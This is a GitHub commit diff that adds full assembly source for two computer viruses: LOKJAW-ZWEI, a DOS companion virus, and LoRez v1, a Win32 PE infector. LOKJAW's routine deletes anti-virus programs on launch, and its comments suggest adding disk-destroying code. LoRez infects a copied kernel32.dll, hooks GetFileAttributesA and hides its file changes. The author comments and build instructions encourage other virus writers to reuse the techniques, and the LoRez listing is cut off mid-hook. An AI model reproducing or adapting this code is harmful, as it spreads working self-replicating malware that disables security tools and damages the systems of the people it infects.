Add files via upload

This commit is contained in:
vxunderground
2021-01-12 17:49:21 -06:00
committed by GitHub
parent a2f096eccc
commit 14e07ba726
99 changed files with 44078 additions and 0 deletions
+566
View File
@@ -0,0 +1,566 @@
;LOKJAW-ZWEI: an .EXE-infecting spawning virus with retaliatory
;anti-anti-virus capability. For Crypt Newsletter 12, Feb. 1993.
;
;LOKJAW-ZWEI is a resident spawning virus which installs itself in
;memory using the same engine as the original Civil War/Proto-T virus.
;It is simpler in that none of its addresses have to be
;relative, an indirect benefit of the fact that the virus has no
;"appending" quality. That means, LOKJAW doesn't alter its "host" files,
;much like a number of other companion/spawning viruses published in
;previous newsletters.
;
;LOKJAW hooks interrupt 21 and infects .EXE files on execution, creating
;itself as companion .COMfile to the "host." Due to the inherent rules
;of DOS, this ensures the virus will be executed before the "host" the
;next time the infected program is used. In reality, LOKJAW is even
;simpler than that. If not in memory, the first time the host is
;called, LOKJAW will go resident and not even bother to load it.
;In most cases, the user will assume a slight error and call the host
;again, at which point it will function normally. LOKJAW will then infect
;every subsequent .EXE file called. LOKJAW is very transparent in operation,
;except when certain anti-virus programs (Integrity Master, McAfee's SCAN &
;CLEAN, F-PROT & VIRSTOP and Central Point Anti-virus) are loaded.
;LOKJAW spawning variants are so simple they don't even need much in the
;way of installation checks. The virus simply becomes resident the first
;time it is called. Once in memory, when other infect file are executed
;LOKJAW merely looks over the loaded file, if it recognizes itself it
;discards the load and proceeds to execute the "infected" file as would
;be the case on an uninfected system.
;
;LOKJAW's "stinger" code demonstrates the simplicity of creating a strongly
;retaliating virus by quickly deleting the anti-virus program before it
;can execute and then displaying a "chomping" graphic. Even if the anti-
;virus program cannot detect LOKJAW in memory, it will be deleted. This
;makes it essential that the user know how to either remove the virus from
;memory before beginning anti-virus measures, or at the least run the
;anti-virus component from a write-protected disk. (If the LOKJAW viruses
;are present in memory and an anti-virus program is run from a write-
;protected disketter, it will, of course, generate "write protect"
;errors.) At a time when retail anti-virus packages are becoming more
;complicated - and more likely that the
;average user will run them from default installations on his hard file -
;LOKJAW's retaliating power makes it a potentially very annoying pest.
;A virus-programmer serious about inconveniencing a system could do a
;number of things with this basic idea. They are;
; 1. Remove the "chomp" effect. It is entertaining, but it exposes the virus
; instantly.
; 2. Alter the_stinger routine, so that the virus immediately attacks the
; hard file. The implementation is demonstrated by LOKJAW-DREI, which
; merely makes the disk inaccessible until a warm reboot if an anti-virus
; program is employed against it. By placing
; a BONA FIDE disk-trashing routine here, it becomes very hazardous for
; an unknowing user to employ anti-virus measures on a machine where
; LOKJAW or a LOKJAW-like program is memory resident. LOKJAW-DREI,
; which does not try to delete anti-virus files, displays the "chomp"
; and mimics trashing the disk even when the anti-virus program is
; used from a write-protected diskette. Of course, the user will
; see no "write protect" error as with the other viruses. The disk merely
; becomes inacessible.
;
;These anti-anti-virus strategies are becoming more common in viral
;programming.
;
;Mark Ludwig programmed the features of a direct-action retaliating
;virus in his "Computer Virus Developments Quarterly." Peach, Groove and
;Encroacher viruses attack anti-virus software by deletion of files central
;to the functionality of the software.
;
;And in this issue, the Sandra virus employs a number
;of anti-anti-virus features.
;
;The LOKJAW source listings are TASM compatible. To remove LOKJAW-ZWEI and
;DREI infected files from a system, simply delete the "companion" .COM
;duplicates of your executables. Ensure that the machine has been booted
;from a clean disk. To remove the LOKJAW .COM-appending virus, at this
;time it will be necessary for you to restore the contaminated files from
;a clean back-up.
;
;Alert readers will notice the LOKJAW-ZWEI and DREI create their "companion"
;files in plain sight. Generally, spawning viruses make themselves
;hidden-read-only-system files. This is an easy hack and the code is supplied
;in earlier issues of the newsletter. The modification is left to
;the reader as an academic exercise.
.radix 16
cseg segment
model small
assume cs:cseg, ds:cseg, es:cseg
org 100h
oi21 equ endit
filelength equ endit - begin
nameptr equ endit+4
DTA equ endit+8
begin: jmp virus_install
note:
db '[l™‡kõ„W-zW].á.šrã$ņd‰M$'
db 'ÅH$.pâ™Gâ†m.Œ$.….{pâ™Å”-Å].ûƒâ‹†¤Å,$“âÅ.”Ÿ.'
db '€â˜ž.¥‰w$Àä×îâ' ; I.D. note: will probably be
; documented in VSUM
; install
virus_install: mov ax,cs ; reduce memory size
dec ax
mov ds,ax
cmp byte ptr ds:[0000],5a ; check if last memory
jne cancel ; block
mov ax,ds:[0003]
sub ax,100 ; decrease memory
mov ds:0003,ax
Zopy_virus:
mov bx,ax ; copy to claimed block
mov ax,es ; PSP
add ax,bx ; virus start in memory
mov es,ax
mov cx,offset endit - begin ; cx = length of virus
mov ax,ds ; restore ds
inc ax
mov ds,ax
lea si,ds:[begin] ; point to start of virus
lea di,es:0100 ; point to destination
rep movsb ; copy virus in memory
Grab_21:
mov ds,cx ; hook interrupt 21h
mov si,0084h ;
mov di,offset oi21
mov dx,offset check_exec
lodsw
cmp ax,dx ;
je cancel ; exit, if already installed
stosw
movsw
push es
pop ds
mov ax,2521h ; revector int 21h to virus
int 21h
cancel: ret
check_exec: ; look over loaded files
pushf ; for executables
push es ; push everything onto the
push ds ; stack
push ax
push bx
push dx
cmp ax,04B00h ; is a file being
; executed ?
jne abort ; no, exit
;if yes, try the_stinger
do_infect: call infect ; then try to infect
abort: ; restore everything
pop dx
pop bx
pop ax
pop ds
pop es
popf
bye_bye:
; exit
jmp dword ptr cs:[oi21]
new_24h:
mov al,3 ; critical error handler
iret
infect:
mov cs:[name_seg],ds ; this routine
mov cs:[name_off],dx ; essentially grabs
; the name of the file
cld ; <--
mov di,dx ; being loaded
push ds ; and copies it into a
pop es ; buffer where the virus
mov al,'.' ; can compare it to its
repne scasb ; "anti-virus" list, from
; the_stinger routine
call the_stinger ; now, call Lokjaw's anti-virus
; stinger
; no anti-virus, resume infection
cld ; clear direction flags
mov word ptr cs:[nameptr],dx ; save pointer to the filename
mov word ptr cs:[nameptr+2],ds
mov ah,2Fh ; get old DTA
int 21h
push es
push bx
push cs ; set new DTA
pop ds
mov dx,offset DTA
mov ah,1Ah
int 21h
call searchpoint ; find filename for virus
push di
mov si,offset COM_txt ; is extension 'COM' ?
mov cx,3
rep cmpsb
pop di
jz do_com ; if so, go to out .COM routine
mov si,offset EXE_txt ; is extension .EXE ?
nop
mov cl,3
rep cmpsb
jnz return
do_exe: mov si,offset COM_txt ; load .COM extent mask
nop
call change_ext ; change extension on filename.EXE
mov ax,3300h ; to .COM
nop
int 21h
push dx
cwd
inc ax ; clear flags
push ax
int 21h
Grab24h:
mov ax,3524h ; get critical error handler vector
int 21h
push bx
push es
push cs ; set interrupt 24h to new handler
pop ds
mov dx,offset new_24h
mov ah,25h
push ax
int 21h
lds dx,dword ptr [nameptr] ; create the virus (with name)
xor cx,cx ; of EXE target
mov ah,05Bh ;
int 21
jc return1
xchg bx,ax ; save handle
push cs
pop ds
mov cx,filelength ; cx = virus length
mov dx,offset begin
mov ah,40h ; write the virus to the created
int 21h ; file
mov ah,3Eh ; close the file
int 21h
return1: pop ax ; restore interrupt 24h
pop ds
pop dx
int 21h
pop ax
pop dx ; restore Crtl-break flags
int 21h
mov si,offset EXE_txt ; load .EXE mask
call change_ext ; and change the extension on
; the filename back to original
return: mov ah,1Ah ; host
pop dx ; restore old DTA
pop ds
int 21H
ret ;
do_com: call findfirst ; is the .COMfile executed the virus?
cmp word ptr cs:[DTA+1Ah],endit - begin
jne return ; no, so exit
mov si,offset EXE_txt ; does the .EXE variant exist ?
call change_ext
call findfirst
jnc return ;
mov si,offset COM_txt ; load .COM extension
call change_ext ; change the filename and
jmp short return ; jump to exit
searchpoint: les di,dword ptr cs:[nameptr]
mov ch,0FFh
mov al,0
repnz scasb
sub di,4
ret
change_ext: call searchpoint
push cs
pop ds
movsw
movsw
ret
findfirst: lds dx,dword ptr [nameptr]
mov cl,27h
mov ah,4Eh
int 21h
ret
the_stinger: ; the_stinger compares the loaded filename with these defaults
cmp word ptr es:[di-3],'MI' ;Integrity Master
je jumptoass ; Stiller Research
cmp word ptr es:[di-3],'XR' ; Virx = VIREX
je jumptoass ; if there's a match
; go to assassinate file
cmp word ptr es:[di-3],'PO' ;*STOP = VIRSTOP
jne next1 ; F-Prot
cmp word ptr es:[di-5],'TS'
je jumptoass
next1: cmp word ptr es:[di-3],'VA' ; AV = CPAV
je jumptoass ; Central Point
cmp word ptr es:[di-3],'TO' ;*prot = F-prot
jne next2
cmp word ptr es:[di-5],'RP'
je jumptoass
next2: cmp word ptr es:[di-3],'NA' ;*scan = McAfee's Scan.
jne next3
cmp word ptr es:[di-5],'CS'
je jumptoass
cmp word ptr es:[di-3],'NA' ; *lean = CLEAN.
jne next3 ; why not, eh?
cmp word ptr es:[di-5],'EL'
je jumptoass
next3: ret
jumptoass: ; assassinate anti-virus program
mov ds,cs:[name_seg] ; points to
mov dx,cs:[name_off] ; filename to delete
mov ax, 4301h ; clear attributes
mov cx, 00h
int 21h
jc chomp ; exit on error to visual
mov ah, 41h ; delete anti-virus file
int 21h ; exit on error to visual
jc chomp
chomp:
push cs ; chomper visual
pop ds
mov ah, 03h
int 10h
mov [c1], bh ; save cursor
mov [c2], dh
mov [c3], dl
mov [c4], ch
mov [c5], cl
mov ah, 1
mov cl, 0
mov ch, 40h
int 10h
mov cl, 0
mov dl, 4Fh
mov ah, 6
mov al, 0
mov bh, 0Fh
mov ch, 0
mov cl, 0
mov dh, 0
mov dl, 4Fh
int 10h
mov ah, 2
mov dh, 0
mov dl, 1Fh
mov bh, 0
int 10h
mov dx,offset eyes ; print the eyes
mov ah, 9
mov bl, 0Fh
int 21h
mov ah, 2
mov dh, 1
mov dl, 0
int 10h
mov ah, 9
mov al, 0DCh
mov bl, 0Fh
mov cx, 50h
int 10h
mov ah, 2
mov dh, 18h
mov dl, 0
int 10h
mov ah, 9
mov al, 0DFh
mov bl, 0Fh
mov cx, 50h
int 10h
mov dl, 0
chomp_1:
mov ah, 2
mov dh, 2
int 10h
mov ah, 9
mov al, 55h
mov bl, 0Fh
mov cx, 1
int 10h
mov ah, 2
mov dh, 17h
inc dl
int 10h
mov ah, 9
mov al, 0EFh
mov bl, 0Fh
int 10h
inc dl
cmp dl, 50h
jl chomp_1
mov [data_1], 0
chomp_3:
mov cx, 7FFFh ; delays
locloop_4:
loop locloop_4
inc [data_1]
cmp [data_1], 0Ah
jl chomp_3
mov [data_1], 0
mov cl, 0
mov dl, 4Fh
chomp_5:
mov ah, 6
mov al, 1
mov bh, [data_2]
mov ch, 0Dh
mov dh, 18h
int 10h
mov ah, 7
mov al, 1
mov bh, [data_2]
mov ch, 0
mov dh, 0Ch
int 10h
mov cx, 3FFFh ; delays
locloop_6:
loop locloop_6
inc [data_1]
cmp [data_1], 0Bh
jl chomp_5
mov [data_1], 0
chomp_7:
mov cx, 7FFFh ; delays
locloop_8:
loop locloop_8
inc [data_1]
cmp [data_1], 0Ah
jl chomp_7
mov ah, 6
mov al, 0
mov bh, [data_2]
mov ch, 0
mov cl, 0
mov dh, 18h
mov dl, 4Fh
int 10h
mov cl, 7
mov ch, 6
int 10h
mov ah, 2
mov bh, [c1]
mov dh, [c2]
mov dl, [c3]
int 10h
mov al, bh
mov ah, 5
int 10h
mov ah, 1
mov ch, [c4]
mov cl, [c5]
int 10h
mov ax, 0003h
int 10h ; sort of a cls
mov ax, 00ffh
ret
EXE_txt db 'EXE',0 ; extension masks
COM_txt db 'COM',0
eyes db '(o) (o)','$' ; ASCII eyes of Lockjaw
data_1 db 0
data_2 db 0
name_seg dw ?
name_off dw ?
c1 db 0
c2 db 0
c3 db 0
c4 db 0
c5 db 0
note2: db 'Lokjaw-Zwei'
endit:
cseg ends
end begin
+808
View File
@@ -0,0 +1,808 @@
;** NOTE: original release assumed that this virus worked on WinNT, but I
;** never tested it. I later found out that it does not go memory resident
;** under WinNT, although it causes no system faults, etc.
;
; LoRez v1 - By Virogen [NoP]
;
; This is my final research on Win32 resident kernel infection. LoRez is
; a memory-resident Win32 PE EXE Infector. It successfully operates on
; any kernel version of any Win32 platform (Win95,WinNT,Win98). The virus
; goes memory resident by infecting kernel32.dll. It changes the export
; RVA of GetFileAttributesA to that of the virus code. The next time the
; system boots, the virus goes memory resident and infects any PE EXE
; win32 calls GetFileAttributesA on. This includes any EXE executed as well
; as many those accessed in many other file manipulations. In order to
; get around the shared lock on kernel32.dll, LoRez copies the kernel
; to the windows directory and infects it there. This new copy of the
; kernel will be found before the original one in the system directory
; when the system is booted.
;
; In order to remove the use of static APIs addresses, LoRez searches
; the kernel32 export table in memory for the APIs which it requires. It
; does this by first determining the operating system. It finds this by
; checking a value on the stack and comparing it to the Win95/98 or WinNT
; kernel bases, which are static regardless of kernel version. If the
; operating system cannot be determined, then LoRez passes control back
; to the host without ever accessing any memory which might cause a fault.
; Once the kernel base is determined, LoRez finds the export table and
; then extracts the addresses of the APIs it needs.
;
; Virus Name: LoRez v1
; Virus Author: Virogen [NoP]
; Release Date: 03-05-98
; Operating Systems: Win95/WinNT/Win98
; Hosts : PE EXE files
; Encryption: Removed, till I get a new poly engine coded
; File Date/Time: Unchanged
; File Attributes: Unchanged ; the virus resets and then restores them
; File Size: Can grow by approx 1.6k at most. Sometimes there will be NO
; file size increase due to the alignment of the EXE.
;
;
; Past/Present/Future:
; - My first Win95 virus was Yurn released last week. This was my first
; attempt at windows resident infection and my first dive into the
; windows operating system. Yurn infected the kernel by changing the
; entry code of GetFileAttributesA to a call to the virus code. Yurn
; was limited because it depended on static APIs and kernel versions
; hardcoded into it. I regret releasing it in regards to the
; superority of its spawn LoRez which was released only a week
; later. However, the Yurn release helped me to acquire many new
; insights from my virus colleagues. Release date: 02-25-98.
;
; - LoRez is my attempt at full Win32 infection without the use of
; static APIs. LoRez is far superior to Yurn in many respects.
; It has been a great success and I think will open up a new era of
; Win32 infection. The techniques LoRez uses opens the Win32 platform
; to many new possibilities. All that is left now is to add more
; advanced features such as polymorphism and stealth. I sincerely hope
; that virus authors will find this code useful in creating their own
; kernel infectors. Release date: 03-05-98
;
; - The future: I will release a 32-bit polymorphic engine next,
; along with a new and better virus using the techniques I've
; researched here. This is ofcourse, provided I can finish it
; before Mar 16 (I'll be gone from the computer world for 3
; months). If not, then I look forward to seeing the new virus
; code my colleagues have written in my absence.
;
; How to contact me : try effnet #virus
;
; Greetz -
; -l, Memory Lapse, Soul Manager, Murkry, Treaz0n, Cicatrix, Darkman,
; VirusBuster, and others.
;
;
; HOW TO COMPILE LOREZ:
; I use TASM32 v5. Included is a makefile for LOREZ. After you compile
; the virus, just take out your handy hex editor and change the flags
; of the code object to 0E0000040h. Note that this is stored in intel
; reverse dd at offset 21Ch in LOREZ.EXE.
;
;
;
;
;
.386
locals
jumps
.model flat,STDCALL
L equ
extrn ExitProcess : PROC ; this is so the import table
; won't be empty. Is not used
; in the virus. You'll need
; IMPORT32.LIB for this one.
org 1000h
.data ; our lonely data object
progname db 'LoRez Virus host (c)Virogen',0
.code ; .code - change flags after compile
; to r/w/x
;-----------------------------------------------------------------------------
;
start: ; the would-be host
push 0
call [ExitProcessAPI] ; exit process
;-----------------------------------------------------------------------------
;
; LoRez virus starts here
;
MAX_HDR equ 0250h ; we shouldn't need more than this
ID_OFF equ 0ch ; offset in header for our marker
VIRUS_SIZE equ (offset vend-offset vstart) ; total size of our virus here
VIRTUAL_SIZE equ (offset buffer_end-offset vstart) ; our virtual size
MEM_ID equ 12345678h ; our communcation needs
;
;
vstart:
call geteip ; find relative offset
geteip:
mov ebp,[esp] ; grab it off stack
mov eax,ebp ; used below
sub ebp,offset geteip ; fix it up
add esp,4 ; fix da stack
db 2dh ; sub eax
host_addr dd (offset geteip-offset start)
push eax ; subtract entry point differ
; to get orginal entry VA
mov edx,[esp+4] ; determine OS
and edx,0fff00000h
mov eax,0BFF70000h ; WIn95 kernel base 0BFF70000
cmp edx,0bff00000h ; Win95?
jz good_os
mov eax,edx ; our NT kernel at 77F00000
cmp edx,077f00000h ; WinNT?
jnz goto_host ; abort if neither
good_os:
;
; a brief explanation of the organization of the export table would be
; useful here. Ok, basically there are three tables within the export
; table : API RVA Table (32bit), Name Pointer Table(32bit), and Ordinal
; Table (16bit). Ok, the ordinal number of an API is the entry number of
; the API in the RVA array. So, multiply the ordinal number by four and
; you've got an index into the API RVA Table. Probably you don't already
; have the ordinal number though, so you'll have to find it. To do this,
; you use the Name Pointer Table. This is an array of pointers to the
; asciiz name of each API. When you find the pointer of the API you're
; looking for by string compares, you take the index number of it and
; multiply it by 2 (because the ordinal table is 16bit). Index the result
; in the ordinal table, and you're all set.
;
;
mov [ebp+imagebase],eax ; save kernel base
mov esi,eax
add esi,[esi+3ch] ; relative ptr to PE header
cmp word ptr [esi],'EP' ; make sure we're on right track
jnz goto_host ; if not.. abort
mov esi,[esi+120] ; get export table RVA
add esi,eax ; relative to image base
mov edi,[esi+36] ; get ordinal table RVA
add edi,eax ; relative to image base
mov [ebp+ordinaltbl],edi ; save it
mov edi,[esi+32] ; get name ptr RVA
add edi,eax ; is relative to image base
mov [ebp+nameptrtbl],edi ; save it
mov ecx,[esi+24] ; get number of name ptrs
mov esi,[esi+28] ; get address table RVA
add esi,eax ; is relative to image base
mov [ebp+adrtbl],esi ; save it
xor edx,edx ; edx is our ordinal counter
; edi=name ptr table
; ecx=number of name ptrs
lea esi,[ebp+APIs] ; -> API Name ptrs
mov [ebp+ourAPIptr],esi ; save it
lea eax,[ebp+API_Struct] ; our API address will go here
mov [ebp+curAPIptr],eax ; save it
chk_next_API_name:
mov esi,[ebp+ourAPIptr] ; get ptr to structure item
mov ebx,[esi] ; load ptr to our API name
add ebx,ebp ; add relative address
mov esi,[edi] ; get API name RVA
add esi,[ebp+imagebase] ; relative to image base
compare_API_name:
lodsb
cmp al,byte ptr [ebx] ; compare a byte of names
jnz not_our_API ; it's not our API
cmp al,0 ; end of string?
jz is_our_API ; it's our API
inc ebx
jmp compare_API_name
not_our_API:
inc edx ; increment API counter
cmp edx,ecx ; last entry of name ptr table?
jz goto_host ; uhoh.. we didn't find one
; of our APIs.. abort it all
add edi,4 ; increment export name ptr idx
mov esi,[ebp+ourAPIptr] ; restore our API name ptr struct
jmp chk_next_API_name
is_our_API:
mov edi,[ebp+ordinaltbl] ; load oridinal table RVA
push ecx
push edx
xchg edx,eax ; edx=API number
add eax,eax ; *2 cuz ordinals are words
add edi,eax ; add to ordinal table VA
mov ax,[edi] ; get ordinal (word)
xor edx,edx
mov ecx,4
mul ecx ; *4 cuz address tbl is dd's
mov edi,[ebp+adrtbl] ; load address table VA
add edi,eax ; set idx to API
mov eax,edi
sub eax,[ebp+imagebase] ; get the VA of the entry
mov [ebp+originalRVAptr],eax ; save it for kernel infection
; notice that our last API
; in the array is the one we
; hook
mov eax,[edi] ; get API RVA
mov [ebp+originalRVA],eax ; save it for kernel infection
add eax,[ebp+imagebase] ; is relative to image base
mov edi,[ebp+curAPIptr] ; idx to storage stucture
mov [edi],eax ; save VA of API
add edi,4 ; increment index
mov [ebp+curAPIptr],edi ; save
pop edx
pop ecx
mov edi,[ebp+nameptrtbl] ; reset export name ptr tableidx
mov esi,[ebp+ourAPIptr] ; restore idx to our name ptrs
add esi,4 ; increment idx API name ptr structure
mov [ebp+ourAPIptr],esi ; save our new ptr to name ptr
cmp dword ptr [esi],0 ; end of our API structure?
jz found_all ; if so then we got 'em all
mov edi,[ebp+nameptrtbl] ; reset idx to export name pt
xor edx,edx ; reset API counter
jmp chk_next_API_name
;
; now we're done finding all of our API VAs
;
found_all:
mov byte ptr [ebp+offset infkern],1 ; set kernel infection flag
lea eax,[ebp+fname]
push eax ; save for below
push 0FFh ; max buffer size
push eax ; ptr
call [ebp+GetSysDirAPI] ; get system directory
pop edi
add edi,eax ; find end of directory name
push edi ; where the filename needz to go
lea eax,[ebp+copyfname]
push eax ; save for below
push 0ffh
push eax
call [ebp+GetWinDirAPI] ; get windoze directory
pop edi
add edi,eax
lea esi,[ebp+kernfile]
call copy_str ; append \kernel32.dll to windoze dir
pop edi ; restore windoze sys dir
lea esi,[ebp+kernfile]
call copy_str ; append kernel32.dll to windoze sys dir
push 0
lea eax,[ebp+copyfname] ; from sys dir
push eax
lea eax,[ebp+fname] ; to win dir
push eax
call [ebp+CopyFileAPI] ; copy kernel to windows dir
cmp eax,0 ; if error then we're prob.
jz goto_host ; already in memory
lea eax,[ebp+copyfname] ; infecting windir\kernel32.dll
mov [ebp+fnameptr],eax ; set file ptr
call infect_file ; infect the kernel
goto_host:
pop eax ; restore entry VA
jmp eax ; jmp to host entry VA
;-----------------------------------------------
; infect file - call with fnameptr set
;
infect_file:
mov eax,[ebp+fnameptr]
push eax
mov ecx,MEM_ID ; let us know its us
call [ebp+GetAttribAPI] ; get file attributes
mov [ebp+oldattrib],eax
cmp eax,-1 ; if error then maybe shared
jnz not_shared
ret ; can't infect it
not_shared:
push 20h ; +A
mov eax,[ebp+fnameptr]
push eax
call [ebp+SetAttribAPI] ; clear 'da attribs
call open_default_file
cmp eax,-1
jnz open_ok
ret
open_ok:
lea eax,[ebp+creation] ; creation time
push eax
lea eax,[ebp+lastaccess] ; last accessed
push eax
lea eax,[ebp+lastwrite] ; last writen to
push eax
push [ebp+handle]
call [ebp+GetFileTimeAPI] ; grab the file time
mov ecx,50h ; read MZ EXE header
lea edx,[ebp+peheader] ; (if that's what it is)
call read_file
cmp word ptr [ebp+peheader],'ZM' ; is EXE?
jnz abort_infect
mov eax,dword ptr [ebp+peheader+3ch] ; where PE hdr pointer is
mov [ebp+ptrpeheader],eax ; save it
call setfp
call setfp_pehdr
mov ecx,MAX_HDR ; now read the pe header
lea edx,[ebp+peheader]
call read_file
cmp [ebp+bytesread],MAX_HDR ; could we read it all?
jnz abort_infect ; something funky if no
cmp word ptr [ebp+peheader],'EP' ; PE?
jnz abort_infect
cmp dword ptr [ebp+peheader+ID_OFF],0 ; any value here?
jnz abort_infect ; if yes, infected
cmp byte ptr [ebp+infkern],1 ; infecting kernel?
jz skip_base_chk ; if so then its ok to be DLL
cmp dword ptr [ebp+imagebase],00400000h ; executables should have this
jnz abort_infect ; base, DLLs probably not.
skip_base_chk:
call [ebp+GetTickCountAPI] ; get tick count
mov dword ptr [ebp+peheader+ID_OFF],eax ; save as infect flag
xor esi,esi
mov si, word ptr [ebp+NtHeaderSize] ; get header size
add esi,18h ; object table is here
mov dword ptr [ebp+ObjTbloff],esi
lea eax,[ebp+peheader] ; is relative to PE hdr RVA
add esi,eax ; esi->object table
mov [ebp+objtblVA],esi ; save the object table VA
xor eax,eax
mov ax,[ebp+numObj] ; get number of objects
dec eax ; we want last object
mov ecx,40 ; each object 40 bytes
xor edx,edx
mul ecx ; numObj-1*40=last object
add esi,eax ; esi->last obj
lea eax,[ebp+peheader+MAX_HDR-40]
cmp esi,eax ; if it's out of our range
jg abort_infect ; then about this here shit
mov eax,[esi+20] ; get last object physical off
mov [ebp+lastobjimageoff],eax ; save it
mov ecx,dword ptr [ebp+filealign] ; get file alignment
mov eax,[esi+16] ; get physical size of object
mov [ebp+originalpsize],eax ; save it 4 later
push eax
add eax,vend-vstart ; size of our code
call align_fix ; set on file alignment
mov dword ptr [esi+16],eax ; save new physical size
mov ecx,dword ptr [ebp+objalign] ; get object alignment
push ecx ; save for below
mov eax,[esi+8] ; get object virtual size
add eax,VIRTUAL_SIZE ; add our virtual size
call align_fix ; set on obj alignment
mov dword ptr [esi+8],eax ; save new virtual size
pop ecx
mov eax,VIRTUAL_SIZE ; how big we is
add eax,dword ptr [ebp+imagesize] ; add to old image size
call align_fix ; set on obj alignment
mov dword ptr [ebp+imagesize],eax ; save new imagesize
mov [esi+36],0E0000040h ; set object flags r/x/x
pop eax ; restore orginal physical size
add eax,[esi+12] ; add last object's RVA
; eax now RVA of virus code
mov [ebp+virusRVA],eax ; save it
cmp byte ptr [ebp+offset infkern],0 ; do our kernel32?
jz new_entry ; nope.. regular PE
;--- our kernel infection starts here ---
;
; This is really fairly simple. First thing we need to do is find the
; image offset of the export table entry for the API we're hooking. We
; do this by locating the object that contains the export table. Then,
; we subtract the image offset of the object from the virtual offset
; of the object. The difference is then subtracted from the previously
; saved RVA of the table entry. =image offset
;
; The different Win32 kernels have different objects which their
; export table is located in. The Win95 kernels have it located in
; .edata, while win98 puts it in .text, winNT decides to throw the
; shit in .rdata. How do we determine which kernel is which, and which
; object to calculate the image offset by? Simple, Win95 is the only
; kernel that contains .edata, WinNT is the only kernel which contains
; .rdata, and Win98 is the only kernel which doesn't contain either.
;
; Once we extrapolate the image offset of the export table entry for the
; RVA of the API we're hooking, we just save the old RVA, and put our
; RVA in its place.
;
;
mov esi,[ebp+objtblVA] ; load object table VA
xor ecx,ecx
mov cx,[ebp+numObj] ; get number of objects
dec ecx
xor edx,edx ; we'll store our virtual-
; physical difference here
calc_fo_loop:
cmp dword ptr [esi],'ade.' ; is it .edata? for win95
jz end_calc_fo_loop ; if so we can reference it
cmp dword ptr [esi],'xet.' ; is it .text? for win98
jnz not_text
mov [ebp+objtext],esi ; save table entry offset
not_text:
cmp dword ptr [esi],'adr.' ; is it .rdata? for winNT
jz end_calc_fo_loop ; if rdata exists, then
; our export shit is there
add esi,40 ; to next object we go
dec ecx ; decrement # of objects
jnz calc_fo_loop ; if not been thru all loop
mov esi,[ebp+objtext] ; if .edata or .rdata, then
end_calc_fo_loop: ; it must be .text
mov edx,[esi+12] ; get the object virtual off
sub edx,[esi+20] ; subtract physical offset
mov eax,[ebp+originalRVAptr] ; get table entry rva
sub eax,edx ; subract difference
mov [ebp+FileOff],eax ; save table entry image off
call setfp ; set file pointer to it
mov ecx,4 ; read RVA
lea edx,[ebp+chkRVA]
call read_file ; and check it to make sure
; we've got it right
mov eax,[ebp+chkRVA]
cmp eax,[ebp+originalRVA] ; is it the right RVA?
jnz abort_infect ; if not abort infection
mov eax,[ebp+FileOff] ; get image offset
call setfp ; set file ptr to table entry
mov eax,[ebp+virusRVA] ; get virus RVA
add eax,(offset hook-offset vstart) ; find our API hook RVA
lea esi,[ebp+hookRVA] ; to be written
mov [esi],eax ; save hook RVA
mov ecx,4 ; dd
call write_code ; write the new hook RVA
mov eax,[ebp+originalRVA] ; get orginal API RVA
add eax,[ebp+imagebase] ; relative to image base
mov [ebp+jmpback],eax ; save it
jmp calc_reloc ; skip entry point change..
;-------------------------------------------------------
; our PE EXE infection
;
new_entry:
mov eax,[ebp+virusRVA] ; eax=virus RVA
mov ebx,dword ptr [ebp+entrypointRVA] ; save old entry point
mov dword ptr [ebp+entrypointRVA],eax ; put our RVA as entry
calc_reloc:
add eax,(offset geteip-offset vstart) ; fix for our reloc call
sub eax,ebx ; difference of entry pts
mov dword ptr [ebp+offset host_addr],eax ; virusRVA-entryRVA=diff
; virusVA-diff=entryVA
call setfp_pehdr ; back to PE header
lea esi,[ebp+peheader] ; write the new PE header
mov ecx,MAX_HDR
call write_code ; to the host
mov eax,[ebp+originalpsize] ; restore original physical size
add eax,[ebp+lastobjimageoff] ; add object physical offset
call setfp ; set ptr to end of object
lea esi,[ebp+vstart]
mov ecx,VIRUS_SIZE
call write_code ; write the virus code to the host
abort_infect:
lea eax,[ebp+creation] ; creation time
push eax
lea eax,[ebp+lastaccess] ; last accessed
push eax
lea eax,[ebp+lastwrite] ; last writen to
push eax
push [ebp+handle]
call [ebp+SetFileTimeAPI] ; restore orginal file time
call close_file ; we're done
mov eax,[ebp+oldattrib] ; get original attribs
push eax
mov eax,[ebp+fnameptr]
push eax
call [ebp+SetAttribAPI] ; restore the original attributes
ret
;---------------------------------------------------------------
; close handle at [handle]
;
close_file:
push dword ptr [ebp+offset handle]
call [ebp+CloseFileAPI]
ret
;---------------------------------------------------------------
; opens file with ptr to filename at [fnameptr]
;
open_default_file:
mov eax,[ebp+fnameptr]
;---------------------------------------------------------------
; opens file, pass eax->filename
;
open_file:
push 0
push 20h ; r+w
push 3 ; 3=open existing file
push 0
push 0
push 0C0000000h ; open for r+w
push eax
call [ebp+CreateFileAPI]
mov [ebp+handle],eax ; save handle
ret
;---------------------------------------------------------------
; read handle
; pass ecx=bytes to read, edx=offset for bytes read
;
read_file:
push 0
lea eax,[ebp+bytesread]
push eax
push ecx
push edx
push [ebp+handle]
call [ebp+ReadFileAPI]
ret
;--------------------------------------------------------------
; sets eax on alignment of ecx
;
align_fix:
xor edx,edx
div ecx ; /alignment
inc eax ; next alignment
mul ecx ; *alignment
ret
;--------------------------------------------------------------
; set file pointer to PE header
setfp_pehdr:
mov eax,[ebp+ptrpeheader]
;--------------------------------------------------------------
; set file ptr of [handle]
; pass eax=offset from beginning
;
setfp:
push 0
push 0
push eax
push [ebp+handle]
call [ebp+SetFilePtrAPI]
ret
;-------------------------------------------------------------
; write to [handle]
; pass ecx=bytes to write, esi->source
;
write_code:
push 0
lea eax,[ebp+bytesread]
push eax
push ecx
push esi
push [ebp+handle]
call [ebp+WriteFileAPI]
ret
;-------------------------------------------------------------
; copy string
; pass edi->destination esi->source
;
copy_str:
mov ecx,0FFh ; no bigger than 256
copystr:
lodsb
stosb
cmp al,0
jz copystrdone
loop copystr
copystrdone:
ret
;------------------------------ hooked ------------------------
; this is our API hook for GetAttrib
;
hook:
pushfd
push eax ; save regs
push ebx
push ecx
push edx
push edi
push esi
push ebp
call reloc ; find relative index
reloc:
pop ebp ; eip
sub ebp, offset reloc ; get relative address
lea eax,[ebp+jmpback] ; get jump back ptr
mov [ebp+jmpbackptr],eax ; save jump back ptr
cmp ecx,MEM_ID ; is it us?
jz abort_mem ; if so then abort
mov byte ptr [ebp+infkern],0 ; we're infecting normal
mov eax,[esp+24h] ; ptr to filename is here
mov [ebp+fnameptr],eax ; save ptr to filename
call infect_file ; replicate ourselves
abort_mem:
pop ebp ; restore regs
pop esi
pop edi
pop edx
pop ecx
pop ebx
pop eax
popfd
db 0FFh,25h ; jmp [ ]
